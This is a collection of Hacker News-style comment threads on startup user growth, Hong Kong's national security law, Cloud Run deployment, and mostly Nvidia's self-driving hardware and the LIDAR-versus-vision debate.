How to Hit 4 million Users in 6 months – A Startup Case Study - <AUTHOR> http://www.startupremarkable.com/grow-startup-to-millions-of-users <comment><USER2> Open graph spamming, arbitrary rewards for inviting your friends, Facebook ads, cross-promotion, SEO... sounds exactly like Zynga.

Seriously though, hopefully this well shed some light on why Zygna uses the techniques they are known for -- they work. Amazingly well. Anyone who spends time in this industry discovers that pretty quickly. And it's really hard for upper management to see those upward kinks in the graph and say "please stop doing that."

The problem is that you have to become pushier and pushier over time and this leads to a slippery slope.

<comment><USER3> I don't think inviting your friends and get a reward should be tied to Zynga (and/or frowned upon) - this tactic has been used by many companies, ie: Dropbox. I personally like it.

It's Zynga's pay-to-win/continue concept that I have a problem with. That's the reason why I think Zynga is 'evil'.

<comment><USER4> Dropbox offers more of a functional reward, vs. the more intangible, arbitrary rewards that Zynga offers.

</comment></comment></comment><comment><USER5> This is a sperm telling you how to fertilize the egg. Swim fast, be fit, etc.

How about all the other companies who try the same (completely obvious) tactics and don't reach 4M users in 6 months?

<comment><USER6> Agreed. I found this article generic. Actually most articles of the like are. It would be more interesting to know how companies get their first 500 users.

</comment></comment><comment><USER7> Hey Zabar Yeah although 4 million users is awesome, I totally appreciate that 4 million is nothing compared to Zynga who have 290 million MAU's (you'll see I refer to this in the blog post in 'caveats', bullet point 2 Cheers Howard

</comment><comment><USER8> Thanks for sharing!

What exactly is social in the game ?

On a side note, 4M users for a game in 6 months is great but not that extraordinary. Looking at successes like Draw Something and SongPop, from small developers too, it's more in the 50+M but it's in the mobile social space, not sure if I Am Playr is mobile or not.

<comment><USER9> "4M users for a game in 6 months is great but not that extraordinary"

Seriously, you think that's not that extraordinary...

<comment><USER10> I had the same reaction! For anyone who's actually attempted to grow anything, that traction is astounding. The draw-something's of the world did something that doesn't even register. It's so outrageous it doesn't even count.

Doing this effectively is absolutely remarkable all on its own.

</comment></comment></comment><comment><USER11> Great article! Thanks for sharing</comment>


Richard Branson "Start before your ready" - <AUTHOR> http://www.rebellesociety.com/2013/10/18/successful-people-start-before-theyre-ready/

<comment><USER2> "And make sure all your money is offshore"</comment>


End of Hong Kong as we know it - <AUTHOR> https://www.theguardian.com/world/2020/may/21/china-proposes-controversial-national-security-law-for-hong-kong <comment><USER2> What might be interesting is a drop of Xi Jinping's authority if Chinese elites see their cash flows drop too precipitously due to HK's possible change in status (and disorder). It's a mistake to think XJP doesn't have a powerful constituency to keep happy. It's an interesting possibility to consider.

It's hard to fathom that Beijing is willing to cause so much disorder in HK at such risk, but it's clear they don't see it as risk.

</comment><comment><USER3> It remains to be seen what it means to the Sino–British Joint Declaration of 1984, which is behind the handover of Hong Kong from Britain to China in 1997.

See the related discussion: [https://news.ycombinator.com/item?id=23259455](https://news.ycombinator.com/item?id=23259455)

</comment><comment><AUTHOR> What would be the implications on one country two systems policy/approach ?</comment>


How to Deploy AI and Computer Vision Containers on Google Cloud Run - <AUTHOR> https://medium.com/trueface-ai/how-to-deploy-ai-and-computer-vision-containers-on-google-cloud-run-3c52f200d086 <comment><USER2> I wonder how this compares to [https://cloud.google.com/ai- platform/](https://cloud.google.com/ai-platform/) and how is the cost compared to AWS?</comment>


Employee 1 and Beyond: A System Set-Up Checklist - <AUTHOR> https://rickmanelius.com/article/employee-1-and-beyond-system-set-checklist <comment><USER2> Hey! Thanks, @mooreds, for posting this here. I'm curious if others have feedback regarding what has worked or not worked for them in the past as well as whether or not I've missed anything critical.</comment>


Nvidia on new self-driving system: "basically 5 years ahead and coming in 2017" - <AUTHOR> https://electrek.co/2016/11/11/tesla-autopilot-chip-supplier-self-driving-hardware-its-five-years-ahead/ <comment><USER2> I'm still not happy with self-driving on vision alone, or vision augmented with radar. There are too many hard cases for vision. Everybody who has good self-driving right now - Google, Otto, Volvo, GM - uses LIDAR.

Self-driving is coming to the first end users in 2017, in Volvo's test of 100 vehicles. Volvo has multiple LIDARs, multiple radars, multiple cameras, redundant computers, and redundant actuators. They're being cautious. Yet they're getting there first.

With the new hardware, Tesla ought to be able to field smart cruse control that doesn't ram into stopped vehicles partially blocking a lane. They've rammed stopped vehicles at speed three times now. At least with the new hardware things should get better. Do they still have the radar blind spot at windshield height?

<comment><USER3> The argument reasoning I've heard goes like this;

People drive reasonably well using vision primarily and with imperfect visibility of their environment.

Computer learning networks can classify imagery at least as accurately as humans and sometimes more so.

A computer using imagery that is well classified from an array of visual sensors with near perfect visibility should be able to drive as well, or better, than a human driver.

The execution strategy appears to be to run classification and command prediction all the time, and while the human is in control consider it supervised learning.

The argument against LIDAR is just this in reverse, humans don't need LIDAR to drive, why should computers?

LIDAR is an engineering solution to the problem of creating a representation of the 3D space around the vehicle. It is a stand in for the less well understood human ability to do the same just by looking around. As a result if the "looking around" solution being proposed by NVidia and Tesla meets the engineering requirement, I don't see any reason that the car should have LIDAR.

<comment><USER4> ML seems pretty bad at classifying things it hasn't seen before though. There are quite a few examples where an input outside the training data resulted in misclassification.

Humans may not always see a white truck in a snowstorm, but is computer vision going to see it either? Or will it pattern match the few visible parts as something else entirely? Or dismiss the truck entirely as noise?

<comment><USER3> I don't disagree, both humans and ML are bad at classifying things they haven't seen before[1]. However that reasoning doesn't disqualify either vision only auto driving systems or machine learning.

Both statements are true:

"Computer driven cars may crash, even fatally, when they encounter a situation that they do not recognize." and

"People driving cars may crash, even fatally, when they encounter a situation that they do not recognize."

The success criteria for self driving cars is that they can drive at least as well, in the common case, as the set of human drivers who are defined to be "good" drivers. And self driving is not invalidated by a computer's mishandling of an event that a good driver would also mishandle.

I expect that self driving systems will be differentiated by how well they handle the unusual cases so a Mercedes system might do better in an unusual situation than a Chevy system. And all of this discussion is orthogonal to LIDAR :-).

[1] [http://puzzlephotos.blogspot.com/](http://puzzlephotos.blogspot.com/)

<comment><USER5> There is a difference though - humans understand the surrounding state, computer vision is not quite there. It can recognize things, and in NVIDIA's case directly generates steering commands without going through the intermediate step of building a model.

Humans build models of the world, and such models allow us to predict the future to a little extent, and explain the reasons behind a situation. Humans can intuit the intentions of other drivers and the behavior of other objects. AI can't do that quite as well.

<comment><USER6> Also, making eye contact and being waved through. Humans are excellent at reading cues such as this.

</comment></comment></comment></comment></comment></comment><comment><USER7> Super cool to see NVIDIA releasing hardware specifically meant to be a platform for building self-driving systems[1]:

 _" NVIDIA DRIVE™ PX 2 is the open AI car computing platform that enables automakers and their tier 1 suppliers to accelerate production of automated and autonomous vehicles. It scales from a palm-sized, energy efficient module for AutoCruise capabilities, to a powerful AI supercomputer capable of autonomous driving."_

I hadn't heard of this before and with their purported pivot to an AI company, I can't wait to see what other platforms they develop in a similar capacity.

[1] - [http://www.nvidia.com/object/drive- px.html](http://www.nvidia.com/object/drive-px.html)

<comment><USER8> NVIDIA has been trying to pivot into a "services" company for a while, NVIDIA GRID/Gaming Cloud, computing etc. "AI" or at least fused sensor automation seems like a good place for them since they already have both the hardware and the software expertise for this.

NVIDIA actually gave up on even attempting to do console graphics again since they didn't want their pipeline to be suffocated by these draconian single customer contracts. What keeps AMD's graphics department alive these days, is exactly what would have prevented NVIDIA from pushing their business forward.

<comment><USER9> The new nintendo console/handheld have Nvidia graphics.

<comment><USER8> It's the NVIDIA Tegra SOC this is different than having to fill your pipeline with custom graphics for a mainstream console.

Nintendo just licensed the SOC from NVIDIA, the PS4 had a custom chip from the green giant, and AMD does custom APUs for the PS4 and Xbone,

</comment></comment></comment></comment><comment><USER10> I thought the reason for Tesla switching away from Mobileeye was that Mobileeye and Tesla couldn't come to an agreement on price and data licensing?

[https://electrek.co/2016/09/15/tesla-vision-mobileye- tesla-a...](https://electrek.co/2016/09/15/tesla-vision-mobileye-tesla- autopilot/)

... and because Mobileeye wasn't comfortable with Tesla using their system for level 4 & 5 driving:

[https://electrek.co/2016/09/16/mobileye-responds-to-tesla- ag...](https://electrek.co/2016/09/16/mobileye-responds-to-tesla-again/)

</comment><comment><USER11> Could someone who understands this space weigh in on how technically interesting this is? (Or isn't?) In particular, their research paper on "End to End Learning for Self-Driving Cars"[1] seems to yield a system that requires an unacceptable amount of manual intervention: in their test drive, they achieve autonomous driving only 98% of the time. But I have no real expertise in this space; perhaps this result is impressive because it was end- to-end or because of the relatively little training? Is such a system going to be sufficiently safe to be used in fully autonomous systems? Or is NVIDIA's PX 2 interesting but not at all for the way it was used in their demonstration system?

[1] [http://images.nvidia.com/content/tegra/automotive/images/201...](http://images.nvidia.com/content/tegra/automotive/images/2016/solutions/pdf/end- to-end-dl-using-px.pdf)

<comment><USER12> It's incredibly freaking amazing if they are using deep learning to drive via mainly cameras only 98 percent of the time. No one else can do that. 98 percent is obviously a lot.

<comment><USER11> Thanks -- that answers the question! So fair to say that it's impressive because of the absence of LIDAR and/or other sensors -- and that by adding LIDAR to such a system one could presumably get towards 0% manual intervention?

<comment><USER13> The difference between 98% and 99.999% is very difficult to solve, and it's not going to happen in the next 5 years. LIDAR can't help, for example, with obeying a police officer gesture.

</comment></comment></comment></comment><comment><USER14> NVIDIA's Drive PX 2 has too high power consumption and too low perf/W for the moment. They're winning this space because they are there more than that they are the best possible solution.

And they may continue to win because successful execution of an 80% product is worth far more than a 90+% powerpoint processor _cough_ TenSilica et al. _cough_ , or because this is such a huge potential market, it might actually go to a successful competitor. 2018 and beyond will be very interesting.

For while it's really desirable have the deep learning equivalent of x86 assembly language (CUDA) across a full stack from training to inference, in the end, IMO cost will be king. I'm not a big fan of $150K high-end servers filled with $5000 GPUs that can be bested with clever code on a $25K server fill with $1200 consumer GPUs. But I am a huge fan of charging what you can while you are unopposed. It's just that I think that state is temporary.

<comment><USER8> >I'm not a big fan of $150K high-end servers filled with $5000 GPUs that can be bested with clever code on a $25K server fill with $1200 consumer GPUs. But I am a huge fan of charging what you can while you are unopposed. It's just that I think that state is temporary.

There is virtually not a single "enterprise" grade product which can't be made at least 50% cheaper (or sometimes 10 times...) with off the shelf consumer grade hacked hardware....

Enterprise products always have a pretty steep markup, but what you lose with those 1200$ GPUs is both features (e.g. virtualization, thin provisioning, DMA/Cuda Direct etc.) and support. When you buy a 5000$ CPU over a 500$ with the same performance what you pay for is reliability and support, if you don't care about that then fine, but when you need to launch a 100M$ service on top of that platform you won't really care about the price tag it's all in the cost of doing business.

<comment><USER15> I don't understand your argument, so maybe this is off base, but if you are saying people in industry aren't replacing their supercomputers with commodity gpu's, you're wrong; both apple and google have massive purchase orders for commodity nvidia gpus because they aren't just cheaper, they are better at this application. And I imagine other companies are as well.

Edit: "replace" is probably not the right word, this is work that the old systems don't do well, but they aren't throwing out x86 racks for gpus of course. It's just instead of buying more of the same for machine learning applications.

<comment><USER8> They aren't buying consumer GPU's they aren't buying the NVIDIA dedicated servers, but they aren't running Geforce chips either.

If nothing else is that because you cannot virtualize Geforce line GPU's, there is no CUDA Direct or NVLINK support etc.

If you are telling me that Google is buying Geforce GPU's and flashing the bios with a custom bios ripped off a Quadro card so they can do PCIe passthrough in a hypervisor and initialize the cards then sorry not buying it.

<comment><USER16> While I agree that Google is not buying GeForce GPUs, their general use-case for GPUs does not require virtualization.

They use containers to isolate and throttle different tasks/jobs running on the same hardware.

At their scale, virtualization would be significantly wasteful in terms of manageability and overhead.

<comment><USER8> I think we have different meaning for virtualization when it comes to GPU.

I'm not talking about running virtual OS, I'm talking about things like rCUDA, GPU direct and RDMA.

But still even for their containers solution they need support for gpu passtrough and vGPU if not they can't run containers.

NVIDIA doesn't allow you to run GeForce cards over a hypervisor.

<comment><USER17> Containers would imply there is no hypervisor involved, only a dri device exposed by the kernel and bind-mounted into the namespace. You would still need support for multiple contexts but that doesn't require multiple (virtual) PCI devices or an IOMMU.

</comment></comment></comment></comment></comment></comment></comment><comment><USER18> One thing I haven't seen discussed:

Many times I'm driving and have the police wave me through a traffic light.

Would a self-driving car realize what's happening?

What about a driver waving me to get ahead?

<comment><USER19> It's not a solved problem but it's something that people are working on.

[https://youtube.com/watch?v=8aEWHdduPwc](https://youtube.com/watch?v=8aEWHdduPwc) This is the Mercedes car that communicates to pedestrians about the vehicle's intent.

[https://en.wikipedia.org/wiki/Vehicular_communication_system...](https://en.wikipedia.org/wiki/Vehicular_communication_systems) Something like this might feature prominently as well.

</comment></comment><comment><USER20> The headline reads confusingly to me. It sort of sounds like it's saying the system is five years in future but what he meant is that Telsa itself is five years ahead of the competition in this area. (Off-the-cuff verbal speech is often a bit hard to follow when written down exactly word-for-word)

</comment><comment><USER21> How well would a modern car do in the darpa grand challenge? I'm curious how far we've come.

<comment><USER22> I doubt a self-driving car without a LIDAR would make it - on the same "test road" as in 2006. But it shouldn't be a problem for others like Google, Volvo, Ford, etc

We need an independent review of self-driving cars in a few years. It will be quite interesting how good they really are in different driving situations like different road and weather conditions. Say good buy to only-camera+radar based cars on a snowy road with bright winter sun (low sun rays) or heavy rain in a dark foggy night.

</comment></comment><comment><USER23> First, I'm all for AI-based transportation solutions, but why does it seem like there aren't nearly enough redundancies being considered? There are just going to be competing proprietary solutions?

In the US, the NHSTA should get ahead of things and push for open standards and potentially for some level of development of standard safety features like being able to set some form of material or device on objects to mark them in ways that can transmit specific information about objects like other cars, fixed structures, etc.

I could make 10's of millions selling stickers or paint additives that would mark a human-driven car's edges to help "protect" it from automated vehicles' AI.

</comment><comment><USER24> Not only is NVIDIA getting those three things that Huang mentioned, but they are also planning, and maybe getting, a monopoly. Think, rapidly switching from chip-making to AI, before anybody else, but not for self-driving cars. Then, when Tesla decided to start self-driving cars, NVIDIA hopped in and now Tesla is going to use their Drive PX2 supercomputer. This is a smart move by NVIDIA, after all, they're five years ahead!

</comment><comment><USER25> The PX 2 is kind of a cool computer. 8 teraflops, 250W, liquid cooled. I imagine it would run a good bit less than that most of the time. 8 teraflops is about 8% of Moravecs estimate of brain equivalence so assuming you use ~8% of your brain driving it may be about right.

<comment><USER26> The brain doesn't do floating point operations. You're trying to compare apples to oranges.

<comment><USER25> Yeah but Moravec's arguments were based on the rough processing power he found necessary to achieve equivalent performance in the simple robots he was building. So it's a two apples equals one orange for making fruit salad kind of estimate.

</comment></comment></comment><comment><USER27> Noob question here. How does multiple LIDARs not interfere with each other?

</comment><comment><USER28> Question: Does NVIDIA do remote jobs for engineering positions?

</comment><comment><USER29> This article seems to relate mostly to the computer vision problems associated with self-driving systems, but what about weather conditions? Is this a solved problem?

<comment><USER13> Weather conditions are a sensor / computer vision /control problem. It is far from solved.

</comment></comment><comment><USER30> I would love to see a betting market give a prediction about whether a Tesla car sold today will have full self drive capability by 2018.

</comment><comment><USER31> Very cool: with capable CUDA device in a car, one should be able to mine some crypto coins with it! With some luck the car should be able to pay for itself!

Alternatively, having in mind Elon's creative approach to finances, Tesla could get some significant hashing power with its fleet!

Edit: looking at the downvote I suppose the joke wasn't obvious?

<comment><USER32> In the 9years I have been on HN I have up voted 3 really good jokes and downvoted thousands of so so ones. Before you post a joke think is it that good. Because, jokes are like spam on message boards they add clutter without aiding the discussion.

<comment><USER31> Wow, really? I just don't see how this is a spam. They definitely add some value, unlike some other stuff out there.

<comment><USER12> I thought it was kind of funny but to be honest I couldn't tell you were joking. It's hard not to assume people are just dumb.

</comment></comment></comment></comment><comment><USER33> Who thought making decent autonomous cars was going to take as long as 2020? I mean for regulations etc maybe, but not for the tech. Earlier this year I expected it to be done later this year.

Edited for clarity (I hope).

<comment><USER34> Many people. And I still don't expect to see general-purpose (secondary roads/cities, range of weather conditions) for decades.

<comment><USER35> This exactly. I did robotics in the late 90's and it's interesting to see how many fundamental problems still remain unsolved. And the trajectory of tech advancement is positive for sure, but not _nearly_ as fast as popsci and marketing articles suggest.

<comment><USER12> What fundamental problems remain to be solved for self driving cars?

<comment><USER13> Vehicle detection: detect any vehicle, even from the side, even if its shape is rare, even at dark, etc. This could be solved with data.

Control: when to yield, without watching the face of the other driver, etc.

Edge cases: obeying a police officer, yielding to an ambulance, cooperating with other cars.

<comment><USER36> And the non-technical side.

Liability: who is liable when the car kills a pedestrian?

Driver engagement: How do you safely transition from automatic control to manual control.

Maintenance: Will the manufacturer be obligated to provide software updates for the life of the vehicle? Even if that vehicle is 20 years old? Even if newer software is 10x less likely to kill a pedestrian?

Cost: Are the costs one-time or will there be a maintenance fee?

Licensing: Does the manufacture have the right to disable functionality after the purchase? Do they have a right to your data? Can they sell that to your insurer?

Regulation: Who certifies systems? How do they test them? When is a system "good enough?"

All of these things sound trivial compared to the technical challenges but it's these kinds of non-technical challenges that killed the small-airplane market in the US and are still unresolved 65 years later.</comment></comment></comment></comment></comment></comment>


The Anti-Mac User Interface (1996) - <AUTHOR> https://www.nngroup.com/articles/anti-mac-interface/ <comment><USER2> Now applicable to XR / Augmented Reality developers & researchers.</comment>